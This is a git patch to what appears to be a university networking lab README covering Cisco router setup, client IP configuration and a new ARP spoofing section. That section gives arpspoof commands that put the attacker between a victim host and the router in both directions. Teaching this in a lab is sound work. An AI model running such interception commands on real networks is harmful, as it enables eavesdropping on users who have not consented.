From 193389b2291e7f51d1557bff7c133589443284a1 Mon Sep 17 00:00:00 2001 From: Alex Tsaparas Date: Thu, 26 Oct 2023 11:44:39 +0200 Subject: [PATCH] Finalize Client Configuration and ARP Spoofing chapters --- Tutorial 1/README.md | 22 ++++++++++++++++++---- 1 file changed, 18 insertions(+), 4 deletions(-) diff --git a/Tutorial 1/README.md b/Tutorial 1/README.md index 1838259..3eef028 100644 --- a/Tutorial 1/README.md +++ b/Tutorial 1/README.md @@ -4,8 +4,7 @@ ![](./network_connection.png) ## Router Configuration - - `XX`: - Workplace number + - `XX`: Workplace number ```sh # Enter configuration @@ -44,14 +43,29 @@ exit # Enable DHCP for inner network service dhcp gi0/1 exit +configure terminal # Set default gateway ip route 0.0.0.0 0.0.0.0 10.3.44.1 +exit disable ``` ## Client Configuration + - `X`: Workplace number + ```sh -ifconfig eth0 0.0.0.0 -dhclient eth0 +sudo -i +ifconfig eth0 192.168.1.1X netmask 255.255.255.0 +# watch the result using the command below +ip addr show +``` + +## ARP Spoofing +```sh +# sudo arpspoof -i [interface] -t +# Spy traffic from victim to router +sudo arpspoof -i eth0 -t 192.168.1.11 192.168.1.1 +# Spy traffic from router to victim +sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.11 ```